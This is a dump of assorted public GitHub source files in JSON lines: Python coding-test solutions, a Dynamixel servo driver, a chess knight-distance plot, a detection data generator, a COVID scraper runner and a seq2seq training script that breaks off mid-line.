include('webapp.urls', namespace='webapp') because for this app_namespace had to be defined in the module 'X.urls',\n but what if doesn't?\n\n -> This approach not only assigns app_namespace but overrides the app_namespace in case one is provided in the 'X.urls'.\n It also gives namespace too.\n\nDON'T FORGET: namespace:name or app_namespace:name (both are acceptable)\n'''\n","repo_name":"piyu5hkumar/SSM","sub_path":"SSM/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15609207095","text":"from sys import stdin\n\nN = int(stdin.readline())\nA = list(map(int, stdin.readline().split()))\na, b, c, d = map(int, stdin.readline().split())\n\n\ndef cal(num, idx, plus, subtract, multiply, division):\n global N, Max, Min\n\n if idx==N:\n Max=max(num, Max)\n Min=min(num, Min)\n return\n else:\n if plus:\n cal(num+A[idx], idx+1, plus-1, subtract, multiply, division)\n if subtract:\n cal(num - A[idx], idx + 1, plus, subtract-1, multiply, division)\n if multiply:\n cal(num*A[idx], idx+1, plus, subtract, multiply-1, division)\n if division:\n cal(int(num / A[idx]), idx + 1, plus, subtract, multiply, division-1)\n\n\nMax = float('-inf')\nMin = float('inf')\n\ncal(A[0], 1, a, b, c, d)\n\nprint(Max)\nprint(Min)","repo_name":"JooaeSon/Daily_CodingTest","sub_path":"백준/연산자 끼워넣기.py","file_name":"연산자 끼워넣기.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14144609784","text":"'''\n\nOperation type : Multi mode , ID = 1\ndescription : Multi-turn mode allows joints have range of controllable \n position values from -28672 to 28672.\n\n =============================================================\n \n command = Dy_motor()\n command.wheel_mode() //change to wheel mode\n command.joint_mode() //change to joint mode\n command.multi_mode() //change to multi mode\n \n =============================================================\n \n multi turn offset == 12288\n \n wheel and joint mode , self.mode == 1\n multi mode , self.mode == 2 \n\n'''\n\nimport serial\nimport time\nimport RPi.GPIO as GPIO\nimport math\n\nclass Initialize(): # define the reapberry pi and Dynamixel motor\n \n def raspi_set(self, dev_name = \"/dev/ttyAMA0\" ,baudrate=9600):\n\n self.ser = serial.Serial(dev_name ,baudrate ,timeout=3.0) \n \n self.direction_pin = 18 # GPIO pin 18\n self.tx = GPIO.HIGH # HIGH for TX mode\n self.rx = GPIO.LOW # LOW for RX mode\n\n self.transmit_delaytime = 0.01 # wait until data can be loaded\n self.rotate_delaytime = 1\n \n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(self.direction_pin, GPIO.OUT) \n \n def define_register(self):\n \n self.MX_id_reg = 3 \n self.MX_cw_reg = 6 \n self.MX_ccw_reg = 8 \n self.MX_multi_offset = 20 \n self.MX_led_reg = 25\n self.MX_goalposition_reg = 30\n self.MX_movingspeed_reg = 32\n self.MX_present_position_reg = 36\n self.MX_temperature_reg = 43\n \n self.MX_write = 3 \n self.MX_read = 2 \n self.MX_length_of_data_1 = 1 \n self.MX_length_of_data_2 = 2 \n self.MX_led_on = 1 \n self.MX_led_off = 0 \n \nclass Operation(): \n \n def ID_hex(self, arg):\n \n arg = \"0\"+ str(arg)\n \n return arg\n \n def dec2hex(self, number): \n\n hex_number = hex(number)\n hex_list = list(hex_number[2:]) \n arg = hex_list[0] + hex_list[1]\n\n return arg\n\n def hex2int(self, arg): \n \n arg = list(hex(arg))\n \n flag = True\n \n while flag:\n \n if len(arg) < 4:\n \n arg.insert(2,\"0\")\n \n elif len(arg) == 4:\n \n flag = False\n \n \n total = arg[2] + arg[3]\n \n return total\n \n def str2list(self, cs_arg): \n \n cs_arg = list(cs_arg[2:])\n\n flag = True\n \n while flag :\n \n if len(cs_arg) == 2:\n \n flag = False\n\n elif len(cs_arg) < 2:\n \n cs_arg.insert(0,\"0\")\n \n cs_list = []\n cs_list.append(cs_arg[0]+cs_arg[1])\n \n return cs_list[0]\n \n def dec_conversion(self, val):\n\n hex_number = hex(val)\n hex_list = list(hex_number[2:])\n \n flag = True\n \n while flag :\n \n if len(hex_list) == 4:\n \n flag = False\n\n elif len(hex_list) < 4:\n \n hex_list.insert(0,\"0\")\n\n bytes_L = hex_list[2]+hex_list[3]\n bytes_H = hex_list[0]+hex_list[1]\n \n return bytes_L , bytes_H\n \n def angle_conversion(self, angle):\n \n float_number = float(angle / 0.0879120879120879) \n check_number = round(float_number, 3)\n dec = math.ceil(check_number)\n hex_angle = hex(dec)\n hex_list = list(hex_angle[2:])\n \n flag = True\n \n while flag :\n \n if len(hex_list) == 4:\n \n flag = False\n\n elif len(hex_list) < 4:\n \n hex_list.insert(0,\"0\")\n \n angle_L = hex_list[2]+hex_list[3]\n angle_H = hex_list[0]+hex_list[1] \n \n return angle_L , angle_H \n\n def status_position(self, byte):\n \n final = self.hex2int(byte[5]) + self.hex2int(byte[4])\n \n print(\"angle = \",round(int(final,16)*0.0879120879120879))\n\n def status_ID(self, byte):\n \n if byte[3] == 0:\n print(\"ID = \" , byte[4])\n \n else:\n print(\"error\")\n\n def status_movingspeed(self, byte): \n \n final = self.hex2int(byte[5]) + self.hex2int(byte[4])\n \n print(\"\\nmoving speed = \",int(final,16))\n\n def status_temperature(self, byte):\n \n if byte[3] == 0:\n \n print(\"No error\")\n print(\"temperature = \" , byte[4])\n \n else:\n print(\"error\")\n\n def choose_goalposition(self,angle):\n \n if self.mode == 1:\n return angle\n \n elif self.mode == 2:\n \n if angle == 0:\n return 12290\n \n else:\n \n float_number = float(angle / 0.0879120879120879) \n check_number = round(float_number, 3)\n dec = math.ceil(check_number)\n \n return (dec + 12288)\n \nclass Dy_motor(Initialize,Operation):\n \n def __init__(self, ID=1):\n \n self.id = ID \n self.mode = 2 \n # wheel_mode(join_mode) = 1 , multi_mode = 2 \n \n self.string = [\"ff\",\"ff\"] \n \n self.raspi_set()\n self.define_register()\n \n def direction(self, d): \n \n GPIO.output(self.direction_pin, d)\n \n def cw_reg(self,cw):\n \n del self.string[2:]\n length = 5\n \n self.string.append(self.ID_hex(self.id))\n self.string.append(\"0\"+ str(length))\n self.string.append(\"0\"+ str(self.MX_write))\n self.string.append(\"0\"+ str(self.MX_cw_reg))\n \n (cw_L,cw_H) = self.dec_conversion(cw)\n self.string.insert(6,cw_L) \n self.string.insert(7,cw_H) \n \n checksum = hex(255-((self.id + length + self.MX_write + self.MX_cw_reg + int(cw_L,16) + int(cw_H,16))%256))\n \n self.string.append(self.str2list(checksum))\n\n tab = ' '\n self.output = tab.join(self.string) \n\n self.direction(self.tx) \n self.ser.write(bytearray.fromhex(self.output)) \n time.sleep(self.transmit_delaytime)\n self.direction(self.rx)\n\n def ccw_reg(self,ccw):\n \n del self.string[2:]\n length = 5\n \n self.string.append(self.ID_hex(self.id))\n self.string.append(\"0\"+ str(length))\n self.string.append(\"0\"+ str(self.MX_write))\n self.string.append(\"0\"+ str(self.MX_ccw_reg))\n \n (ccw_L,ccw_H) = self.dec_conversion(ccw)\n self.string.insert(6,ccw_L) \n self.string.insert(7,ccw_H) \n \n checksum = hex(255-((self.id + length + self.MX_write + self.MX_ccw_reg + int(ccw_L,16) + int(ccw_H,16))%256))\n self.string.append(self.str2list(checksum))\n\n tab = ' '\n self.output = tab.join(self.string) \n\n self.direction(self.tx) \n self.ser.write(bytearray.fromhex(self.output)) \n time.sleep(self.transmit_delaytime)\n self.direction(self.rx)\n \n def wheel_mode(self):\n \n self.mode = 1\n self.cw_reg(0)\n time.sleep(self.transmit_delaytime)\n self.ccw_reg(0)\n print(\"wheel mode\")\n \n def joint_mode(self):\n \n self.mode = 1\n self.cw_reg(0)\n time.sleep(self.transmit_delaytime)\n self.ccw_reg(4095)\n print(\"join mode\")\n \n def multi_mode(self):\n\n self.mode = 2\n self.cw_reg(4095)\n time.sleep(self.transmit_delaytime)\n self.ccw_reg(4095)\n print(\"multi mode\")\n time.sleep(self.transmit_delaytime)\n self.multi_offset()\n \n def multi_offset(self):\n \n del self.string[2:]\n length = 5\n \n val = 12288\n \n self.string.append(self.ID_hex(self.id))\n self.string.append(\"0\"+ str(length))\n self.string.append(\"0\"+ str(self.MX_write))\n self.string.append(self.dec2hex(self.MX_multi_offset))\n \n (byte_L,byte_H) = self.dec_conversion(val)\n self.string.insert(6,byte_L) \n self.string.insert(7,byte_H) \n\n checksum = hex(255-((self.id + length + self.MX_write + self.MX_multi_offset + int(byte_L,16) + int(byte_H,16))%256))\n self.string.append(self.str2list(checksum))\n \n tab = ' '\n self.output = tab.join(self.string) \n \n self.direction(self.tx) \n self.ser.write(bytearray.fromhex(self.output)) \n time.sleep(self.transmit_delaytime)\n self.direction(self.rx)\n print(\"multi turn offest = 12288\")\n \n def goal_position(self, val): \n \n angle = self.choose_goalposition(val)\n \n del self.string[2:] \n length = 5\n \n self.string.append(self.ID_hex(self.id)) \n self.string.append(\"0\"+ str(length)) \n self.string.append(\"0\"+ str(self.MX_write)) \n self.string.append(self.dec2hex(self.MX_goalposition_reg)) \n \n if self.mode == 1:\n (angle_L,angle_H) = self.angle_conversion(angle)\n self.string.insert(6,angle_L) \n self.string.insert(7,angle_H) \n \n elif self.mode == 2:\n (angle_L,angle_H) = self.dec_conversion(angle)\n self.string.insert(6,angle_L) \n self.string.insert(7,angle_H)\n \n checksum = hex(255-((self.id + length + self.MX_write + self.MX_goalposition_reg + int(angle_L,16) + int(angle_H,16))%256))\n self.string.append(self.str2list(checksum))\n \n tab = ' '\n self.output = tab.join(self.string) \n \n self.direction(self.tx) \n self.ser.write(bytearray.fromhex(self.output)) \n time.sleep(self.rotate_delaytime)\n self.direction(self.rx) \n\n def read_position(self): \n\n del self.string[2:] \n length = 4\n\n self.string.append(self.ID_hex(self.id))\n self.string.append(\"0\"+ str(length))\n self.string.append(\"0\"+ str(self.MX_read)) \n self.string.append(self.dec2hex(self.MX_present_position_reg))\n self.string.append(\"0\"+ str(self.MX_length_of_data_2)) \n\n checksum = hex(255-((self.id + length + self.MX_read + self.MX_present_position_reg + self.MX_length_of_data_2)%256))\n self.string.append(self.str2list(checksum))\n \n tab = ' '\n self.output = tab.join(self.string)\n \n self.direction(self.tx)\n self.ser.write(bytearray.fromhex(self.output))\n time.sleep(self.transmit_delaytime)\n self.direction(self.rx)\n reply = self.ser.read(10) \n print(\"\\nStatus Packet = \" , reply)\n self.status_position(reply) \n \n def moving_speed(self, speed): \n \n del self.string[2:]\n length = 5\n \n self.string.append(self.ID_hex(self.id)) \n self.string.append(\"0\"+ str(length)) \n self.string.append(\"0\"+ str(self.MX_write)) \n self.string.append(self.dec2hex(self.MX_movingspeed_reg)) \n \n (speed_L,speed_H) = self.dec_conversion(speed)\n self.string.insert(6,speed_L) \n self.string.insert(7,speed_H) \n \n checksum = hex(255-((self.id + length + self.MX_write + self.MX_movingspeed_reg + int(speed_L,16) + int(speed_H,16))%256))\n self.string.append(self.str2list(checksum)) \n \n tab = ' '\n self.output = tab.join(self.string) \n \n self.direction(self.tx) \n self.ser.write(bytearray.fromhex(self.output)) \n time.sleep(self.rotate_delaytime) \n self.direction(self.rx) \n \n def read_movingspeed(self):\n \n del self.string[2:]\n length = 4\n \n self.string.append(self.ID_hex(self.id))\n self.string.append(\"0\"+ str(length))\n self.string.append(\"0\"+ str(self.MX_read))\n self.string.append(self.dec2hex(self.MX_movingspeed_reg))\n self.string.append(\"0\"+ str(self.MX_length_of_data_2))\n \n checksum = hex(255-((self.id + length + self.MX_read + self.MX_movingspeed_reg + self.MX_length_of_data_2)%256))\n self.string.append(self.str2list(checksum))\n \n tab = ' '\n self.output = tab.join(self.string)\n \n self.direction(self.tx)\n self.ser.write(bytearray.fromhex(self.output))\n time.sleep(self.transmit_delaytime)\n self.direction(self.rx)\n reply = self.ser.read(10)\n print(\"\\nStatus Packet = \" , reply)\n self.status_movingspeed(reply) ","repo_name":"GuangSpace/dynamixel_servomotor","sub_path":"dynamixel_multi.py","file_name":"dynamixel_multi.py","file_ext":"py","file_size_in_byte":15528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6974425455","text":"from collections import deque,namedtuple\nimport random\nimport torch\nTransition = namedtuple('Transition', ('state', 'action', 'next_state', 'reward'))\n\nmydeque = deque(maxlen=10)\n\nfor i in range(10):\n mydeque.append(Transition(state=torch.tensor([i]),action=torch.tensor([i+1]),next_state=torch.tensor([i+2]),reward=torch.tensor([i+3])))\n\nran=random.sample(mydeque,3)\nk=Transition(*zip(*ran))\n\nk_cat=torch.cat(k.state)\n\nprint(k.state)\nprint(k_cat)\nprint(type(k.state))\nprint(type(k_cat))\n\n","repo_name":"ling9601/RL","sub_path":"Atari_DQN_ref/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26654812468","text":"'''\nBOJ : https://www.acmicpc.net/problem/4963\n'''\nimport collections\n\ndy = [-1,-1,-1,1,1,1,0,0]\ndx = [-1,0,1,-1,0,1,-1,1]\n\ncnt_list = []\nwhile True:\n w, h = map(int,input().split())\n\n if w+h == 0:\n break\n\n m = []\n visit = set()\n \n for i in range(h):\n m.append([])\n m[i] = list(map(int,input().split()))\n \n\n cnt = 0\n for i in range(h):\n for j in range(w):\n if m[i][j] == 1 and (i,j) not in visit:\n cnt += 1\n visit.add((i,j))\n q = [[i,j]]\n while len(q) > 0:\n new_q = []\n for y,x in q:\n for d in range(8):\n next_y = y + dy[d]\n next_x = x + dx[d]\n if 0 <= next_y < h and 0 <= next_x < w and (next_y,next_x) not in visit and m[next_y][next_x] == 1:\n new_q.append([next_y,next_x])\n visit.add((next_y,next_x))\n q = new_q\n \n print(cnt)\n\n\n\n\n ","repo_name":"mixify/algorithm","sub_path":"python/4963_섬의갯수.py","file_name":"4963_섬의갯수.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"33178549361","text":"def is_even(n):\n if n % 2 == 0:\n return True\n return False\n\n\ndef fast_pow(m, n):\n if n == 0:\n return 1\n if is_even(n):\n return fast_pow(m, n/2) * fast_pow(m, n/2)\n return m * fast_pow(m, n-1)\n\n\ndef fast_pow_iterative(m, n):\n count = 1\n if n == 0:\n return 1\n if is_even(n):\n while count < n / 2:\n m *= m\n count += 1\n return m * m\n while count < (n - 1) / 2:\n m *= m\n count += 1\n return m * m * m\n\n\nprint(fast_pow_iterative(2, 4))\n","repo_name":"goharikkh/homework","sub_path":"ex13.py","file_name":"ex13.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13881326122","text":"import sys\n\nimport chess\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef how_the_knight_move(square1):\n distances = np.zeros((8, 8))\n for square2 in chess.SQUARES:\n distances[\n chess.square_rank(square2), chess.square_file(square2)\n ] = chess.square_knight_distance(square1, square2)\n return distances\n\n\ndef draw_board_with_distances(distances):\n \"\"\"create an image of the chessboard with the distances\"\"\"\n fig, ax = plt.subplots()\n # make sure distances are integers\n distances = distances.astype(int)\n ax.imshow(distances, cmap=plt.cm.Blues)\n ax.set_xticks(np.arange(8))\n ax.set_yticks(np.arange(8))\n ax.set_xticklabels(chess.FILE_NAMES)\n ax.set_yticklabels(chess.RANK_NAMES)\n ax.set_xlim(-0.5, 7.5)\n ax.set_ylim(7.5, -0.5)\n ax.set_title(\"Knight's Distance\")\n for i in range(8):\n for j in range(8):\n text = ax.text(\n j,\n i,\n distances[i, j],\n ha=\"center\",\n va=\"center\",\n color=\"w\",\n fontsize=20,\n )\n plt.show()\n\n\nif __name__ == \"__main__\":\n # parse square from command line\n if len(sys.argv) != 2:\n print(\"Usage: python algo.py \")\n sys.exit(1)\n square = sys.argv[1]\n print(square)\n\n square_parsed = chess.parse_square(square)\n print(square_parsed)\n distances_from_square = how_the_knight_move(square_parsed)\n print(distances_from_square)\n draw_board_with_distances(distances_from_square)\n","repo_name":"menisadi/How-does-the-knight-move","sub_path":"old-versions/algo.py","file_name":"algo.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3152419828","text":"import math\nfrom random import shuffle\nimport cv2\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib.colors import hsv_to_rgb, rgb_to_hsv\n\ndef preprocess_image(image):\n mean = [0.40789655, 0.44719303, 0.47026116]\n std = [0.2886383, 0.27408165, 0.27809834]\n return ((np.float32(image) / 255.) - mean) / std\n\ndef rand(a=0, b=1):\n return np.random.rand()*(b-a) + a\n\n\nclass Generator(object):\n def __init__(self, batch_size, train_lines, val_lines,\n input_size, num_classes, max_objects=100):\n\n self.batch_size = batch_size\n self.train_lines = train_lines\n self.val_lines = val_lines\n self.input_size = input_size\n self.num_classes = num_classes\n self.max_objects = max_objects\n np.random.seed(123)\n\n def get_random_data(self, annotation_line, input_shape, jitter=.3, hue=.1, sat=1.5, val=1.5, random=True):\n '''r实时数据增强的随机预处理'''\n line = annotation_line.split()\n image = Image.open(line[0])\n iw, ih = image.size\n h, w = input_shape\n num_box = np.min((len(line)-1, self.max_objects))\n box = np.array([np.array(list(map(int,box.split(',')))) for box in line[1:(num_box+1)]])\n\n if not random:\n # resize image\n scale = min(w/iw, h/ih)\n nw = int(iw*scale)\n nh = int(ih*scale)\n dx = (w-nw)//2\n dy = (h-nh)//2\n\n image = image.resize((nw,nh), Image.BICUBIC)\n new_image = Image.new('RGB', (w,h), (128,128,128))\n new_image.paste(image, (dx, dy))\n image_data = np.array(new_image, np.float32)\n\n # correct boxes\n box_data = np.zeros((len(box),5))\n if len(box)>0:\n np.random.shuffle(box)\n box[:, [0,2]] = box[:, [0,2]]*nw/iw + dx\n box[:, [1,3]] = box[:, [1,3]]*nh/ih + dy\n box[:, 0:2][box[:, 0:2]<0] = 0\n box[:, 2][box[:, 2]>w] = w\n box[:, 3][box[:, 3]>h] = h\n box_w = box[:, 2] - box[:, 0]\n box_h = box[:, 3] - box[:, 1]\n box = box[np.logical_and(box_w>1, box_h>1)]\n box_data = np.zeros((len(box),5))\n box_data[:len(box)] = box\n\n return image_data, box_data\n\n # resize image\n new_ar = w/h * rand(1-jitter,1+jitter)/rand(1-jitter,1+jitter)\n scale = rand(0.25, 2)\n if new_ar < 1:\n nh = int(scale*h)\n nw = int(nh*new_ar)\n else:\n nw = int(scale*w)\n nh = int(nw/new_ar)\n image = image.resize((nw, nh), Image.BICUBIC)\n\n # place image\n dx = int(rand(0, w-nw))\n dy = int(rand(0, h-nh))\n new_image = Image.new('RGB', (w,h), (128,128,128))\n new_image.paste(image, (dx, dy))\n image = new_image\n\n # flip image or not\n flip = rand()<.5\n if flip: image = image.transpose(Image.FLIP_LEFT_RIGHT)\n\n # distort image\n hue = rand(-hue, hue)\n sat = rand(1, sat) if rand()<.5 else 1/rand(1, sat)\n val = rand(1, val) if rand()<.5 else 1/rand(1, val)\n x = cv2.cvtColor(np.array(image,np.float32)/255, cv2.COLOR_RGB2HSV)\n x[..., 0] += hue*360\n x[..., 0][x[..., 0]>1] -= 1\n x[..., 0][x[..., 0]<0] += 1\n x[..., 1] *= sat\n x[..., 2] *= val\n x[x[:,:, 0]>360, 0] = 360\n x[:, :, 1:][x[:, :, 1:]>1] = 1\n x[x<0] = 0\n image_data = cv2.cvtColor(x, cv2.COLOR_HSV2RGB)*255\n\n\n # correct boxes\n box_data = np.zeros((len(box),5))\n if len(box)>0:\n np.random.shuffle(box)\n box[:, [0,2]] = box[:, [0,2]]*nw/iw + dx\n box[:, [1,3]] = box[:, [1,3]]*nh/ih + dy\n if flip: box[:, [0,2]] = w - box[:, [2,0]]\n box[:, 0:2][box[:, 0:2]<0] = 0\n box[:, 2][box[:, 2]>w] = w\n box[:, 3][box[:, 3]>h] = h\n box_w = box[:, 2] - box[:, 0]\n box_h = box[:, 3] - box[:, 1]\n box = box[np.logical_and(box_w>1, box_h>1)] # discard invalid box\n box_data = np.zeros((len(box),5))\n box_data[:len(box)] = box\n if len(box) == 0:\n return image_data, []\n\n if (box_data[:,:4]>0).any():\n return image_data, box_data\n else:\n return image_data, []\n\n def generate(self, train=True, eager=False):\n while True:\n if train:\n # 打乱\n shuffle(self.train_lines)\n lines = self.train_lines\n else:\n shuffle(self.val_lines)\n lines = self.val_lines\n\n batch_images = np.zeros((self.batch_size, self.input_size[0], self.input_size[1], self.input_size[2]), dtype=np.float32)\n batch_cls = np.zeros((self.batch_size, self.max_objects, self.num_classes), dtype=np.float32)\n batch_loc = np.zeros((self.batch_size, self.max_objects, 4), dtype=np.float32)\n batch_reg_masks = np.zeros((self.batch_size, self.max_objects), dtype=np.float32)\n\n\n b = 0\n for annotation_line in lines:\n img, y = self.get_random_data(annotation_line, self.input_size[0:2], random=train)\n\n if len(y)!=0:\n boxes = np.array(y[:,:4], dtype=np.float32)\n boxes[:,0] = boxes[:,0]/self.input_size[1]\n boxes[:,1] = boxes[:,1]/self.input_size[0]\n boxes[:,2] = boxes[:,2]/self.input_size[1]\n boxes[:,3] = boxes[:,3]/self.input_size[0]\n\n for i in range(len(y)):\n bbox = boxes[i].copy()\n bbox = np.array(bbox)\n bbox[[0, 2]] = np.clip(bbox[[0, 2]], 0, self.input_size[1] - 1)\n bbox[[1, 3]] = np.clip(bbox[[1, 3]], 0, self.input_size[0] - 1)\n cls_id = int(y[i,-1])\n\n # 獲得類別\n batch_cls[b, i, cls_id] = 1.\n batch_loc[b, i] = bbox\n # 将对应的mask设置为1,用于排除多余的0\n batch_reg_masks[b, i] = 1\n\n # 将RGB转化成BGR\n img = np.array(img,dtype = np.float32)[:,:,::-1]\n batch_images[b] = preprocess_image(img)\n b = b + 1\n if b == self.batch_size:\n b = 0\n if eager:\n yield batch_images, batch_cls, batch_loc, batch_reg_masks\n else:\n yield [batch_images, batch_cls, batch_loc, batch_reg_masks], np.zeros((self.batch_size,))\n\n batch_images = np.zeros((self.batch_size, self.input_size[0], self.input_size[1], 3), dtype=np.float32)\n batch_cls = np.zeros((self.batch_size, self.max_objects, self.num_classes), dtype=np.float32)\n batch_loc = np.zeros((self.batch_size, self.max_objects, 4), dtype=np.float32)\n batch_reg_masks = np.zeros((self.batch_size, self.max_objects), dtype=np.float32)","repo_name":"simon108018/Faster-OneNet-tf2","sub_path":"nets/data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":7150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11957986797","text":"from typing import List\n\n\ndef calculate_zero_crossing(\n signal: List[int],\n) -> int:\n \"\"\"\n Calculate the number of cross zero in a signal.\n\n :param signal: signal\n :return: number of zero crossing\n \"\"\"\n result = 0\n for index in range(len(signal) - 1):\n result += 1 if signal[index] * signal[index + 1] <= 0 else 0\n\n return result\n","repo_name":"txemac/ecgs-service","sub_path":"api/ecg/application/calculate_zero_crossing.py","file_name":"calculate_zero_crossing.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"45445554694","text":"import importlib\nimport logging\nimport pkgutil\nimport traceback\n\nimport covid_world_scraper\nfrom .constants import DEFAULT_CACHE_DIR\nfrom .country_codes import COUNTRY_CODES\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass CountryScraperError(Exception): pass\n\n\nclass Runner:\n \"\"\"\n Facade class to simplify invocation\n and usage of country scrapers by the\n cli module.\n \"\"\"\n\n country_codes = COUNTRY_CODES\n\n def __init__(self, alert_manager=None):\n self.alert_manager = alert_manager\n\n def run(self, cache_dir=DEFAULT_CACHE_DIR, headless_status=True, filter=[]):\n \"\"\"\n Run country scrapers.\n\n Keyword arguments:\n cache_dir -- Path to cache directory for scraped file artifacts (default: {})\n headless_status -- Whether or not to run headless (default: True)\n filter -- List of 3-letter country codes that limits countries to be scraped.\n\n Returns: List of CountryScrapers\n \"\"\".format(DEFAULT_CACHE_DIR)\n scraper_objs = []\n for ScraperKls in self.country_scrapers(filter=filter):\n try:\n scraper = ScraperKls(cache_dir, headless_status=headless_status)\n scraper.run()\n scraper_objs.append(scraper)\n except Exception as e:\n message = ''.join(traceback.format_tb(e.__traceback__))\n level = 'ERROR'\n if self.alert_manager:\n self.alert_manager.add(message, level)\n logger.error(message)\n # Add generic alert message listing countries\n # scraped successfully\n success_msg = self._prep_success_message(scraper_objs)\n if self.alert_manager:\n self.alert_manager.insert(0, success_msg, 'INFO')\n logger.info(success_msg)\n return scraper_objs\n\n def _prep_success_message(self, scraper_objs):\n count = len(scraper_objs)\n if count > 0:\n names = ', '.join([\n str(s.country_code) for s in scraper_objs\n ])\n message = \"{} scraper(s) ran successfully: {}\".format(count, names)\n else:\n message = \"Zero scrapers ran successfully\"\n return message\n\n def send_alerts(self):\n self.alert_manager.send()\n\n def list_countries(self):\n \"\"\"\n List available country scrapers.\n\n Returns: List of country codes and names.\n \"\"\"\n return [str(ScraperKls()) for ScraperKls in self.country_scrapers()]\n\n def country_scrapers(self, filter=[]):\n \"\"\"\n Return scraper classes for all available countries.\n\n Keyword arguments:\n filter -- list of 3-letter country codes that limits return value\n\n Returns: List of CountryScraper subclasses\n \"\"\"\n scrapers = []\n if filter:\n for country in filter:\n try:\n scrapers.append(self._get_scraper_class(country))\n except (ModuleNotFoundError, ImportError, AttributeError):\n msg = \"Unable to find scraper for {}\".format(country)\n logger.error(msg)\n raise CountryScraperError(msg)\n else:\n for importer, modname, ispkg in pkgutil.iter_modules(covid_world_scraper.__path__):\n if modname.upper() in self.country_codes.keys():\n try:\n scrapers.append(self._get_scraper_class(modname))\n except AttributeError:\n # country scrapers that don't contain a properly named class\n # are silently skipped.\n pass\n return scrapers\n\n def _get_scraper_class(self, country):\n mod_name = country.replace('.py','').strip().lower()\n kls_name = mod_name.title()\n mod = importlib.import_module('covid_world_scraper.{}'.format(mod_name))\n return getattr(mod, kls_name)\n","repo_name":"biglocalnews/covid-world-scraper","sub_path":"covid_world_scraper/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70572465689","text":"import numpy as np\nimport json\nimport pandas as pd\nimport argparse\nimport random\nfrom sklearn.model_selection import train_test_split\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom model import Encoder, Decoder, Seq2Seq\nfrom os.path import join\nfrom tqdm import tqdm\nimport os\n\n\ndef parse_args():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--mdir',help = 'modle_directory', default = 'model_out4')\n\tparser.add_argument('--sen_list', help = 'sen_list', default = join('pre_out', 'sen_list.npy') )\n\tparser.add_argument('--index2word', help = 'index2word', default = join('pre_out','index2word.json'))\n\tparser.add_argument('--word2index', help = 'word2index', default = join('pre_out', 'word2index.json'))\n\tparser.add_argument('--look_up_matrix', help = 'look_up_matrix', default = join('pre_out', 'look_up_matrix.csv'))\n\tparser.add_argument('--sen_len', help = 'sen_len', default = join('pre_out', 'sent_len.json'))\n\tparser.add_argument('--epoch_size', type = int, default = 20 )\n\tparser.add_argument('--batch_size', type = int, default = 128)\n\tparser.add_argument('--clip', type = float, default = 5.0)\n\tparser.add_argument('--layers', type = int, default = 2)\n\tparser.add_argument('--dropout', type = float, default = 0.2)\n\tparser.add_argument('--hidden_dim', type = int, default = 128)\n\n\targs = parser.parse_args()\n\treturn args\n\ndef prepare_data(sen_list, look_up_matrix, bs, device):\n\tlook_up_matrix = torch.from_numpy(look_up_matrix).float().to(device)\n\t(train, valid) = train_test_split(sen_list, test_size = 0.1, random_state = 1234)\n\t(train, valid) = (torch.from_numpy(train).to(device), torch.from_numpy(valid).to(device))\n\ttrain_set, valid_set = (TensorDataset(train, train), TensorDataset(valid, valid))\n\ttrain_data_loader, valid_data_loader = (DataLoader(train_set, batch_size = bs ), DataLoader(valid_set, batch_size = bs))\n\n\treturn train_data_loader, valid_data_loader, look_up_matrix\n\ndef train_epoch(model, optim, loss_func, dataloader, i, index2word, word2index):\n\tmodel.train()\n\tepoch_loss = 0\n\tepoch_acc = 0\n\tfor _, data in tqdm(enumerate(dataloader), total = len(dataloader)):\n\t\tsource, answer = data\n\t\toptim.zero_grad()\n\t\toutput = model(source, answer)\n\t\tpredict = output.detach().argmax(dim = -1)\n\t\tpredict[:,0] = word2index['']\n\t\t#print([index2word[i] for i in source[0]]) \n\t\t#print([index2word[i] for i in answer[0]])\n\t\t#print([index2word[i] for i in predict[0]])\n\t\tacc = ((answer.detach()[:, 1:] == predict[:, 1:])|(answer.detach()[:, 1:] == 0)&(answer.detach()[:, 1:] != 1)).all(dim = 1).float().mean().item()\n\t\toutput, answer = (output[1:].view(-1, output.shape[-1]),answer[1:].view(-1))#why -1\n\t\tloss = loss_func(output, answer)\n\t\tloss.backward()\n\n\t\toptim.step()\n\n\t\tepoch_loss += loss.item()\n\t\tepoch_acc += acc\n\n\treturn epoch_loss/len(dataloader), epoch_acc/len(dataloader)\n\ndef valid_epoch(model, optim, loss_func, dataloader, i, index2word, word2index):\n\tmodel.eval()\n\tepoch_loss = 0\n\tepoch_acc = 0\n\tfor _, data in tqdm(enumerate(dataloader), total = len(dataloader)):\n\t\tsource, answer = data\n\t\toutput = model(source, answer)\n\t\tpredict = output.detach().argmax(dim = -1)\n\t\tpredict[:,0] = word2index['']\n\t\tprint([index2word[i] for i in source[0]])\n\t\tprint([index2word[i] for i in answer[0]])\n\t\tprint([index2word[i] for i in 